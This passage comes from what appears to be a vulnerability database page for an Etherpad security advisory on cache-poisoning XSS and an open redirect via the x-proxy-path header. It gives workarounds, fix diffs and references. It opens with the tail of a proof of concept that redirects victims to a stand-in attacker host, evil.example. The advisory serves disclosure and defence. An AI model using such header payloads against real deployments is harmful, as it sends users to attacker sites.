//evil.example\u0027\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don\u0027t.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` \u2014 a single shared helper used by both admin.ts and specialpages.ts. The helper:\n   - returns `\"\"` when the header is absent;\n   - strips characters outside `[A-Za-z0-9_./-]`;\n   - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n   - prepends `/` if the cleaned non-empty value doesn\u0027t already have one (so callers can always concatenate as an absolute prefix);\n   - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` \u2014 replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n-  const raw = req.header(\u0027x-proxy-path\u0027) || \u0027\u0027;\n-  return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, \u0027\u0027);\n-};\n+import {sanitizeProxyPath} from \u0027../../utils/sanitizeProxyPath\u0027;\n```\n\n`src/node/hooks/express/admin.ts` \u2014 sanitise the value AND emit cache-key/cache-control headers so a shared cache can\u0027t collapse responses across different proxy-path values:\n\n```diff\n   if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n-    if (req.header(PROXY_HEADER)) {\n+    const proxyPath = sanitizeProxyPath(req);\n+    if (proxyPath) {\n       let string = data.toString()\n-      dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n-      dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+      dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+      dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n     }\n+    res.setHeader(\u0027Vary\u0027, \u0027x-proxy-path\u0027);\n+    res.setHeader(\u0027Cache-Control\u0027, \u0027private, no-store\u0027);\n   }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).",
  "id": "GHSA-fjgc-3mj7-8rg8",
  "modified": "2026-08-13T13:46:08Z",
  "published": "2026-08-13T13:46:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/6399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/7710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/7784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/commit/451bd9c3ebb0dded99dd0ff21811ee00e0940c29"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/commit/63e9b2d4eb303cd341022591bdf9484584db36e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ether/etherpad"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via\u00a0x-proxy-path Header"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55087 (GCVE-0-2026-55087)

FKIE_CVE-2026-55087

GHSA-FJGC-3MJ7-8RG8

GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Title

Description

Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)

Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

Severity rationale

Affected versions

Patched versions

Proof of concept

XSS / cache poisoning

Open redirect

Workarounds

Fix

Resources

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour

GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)

Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)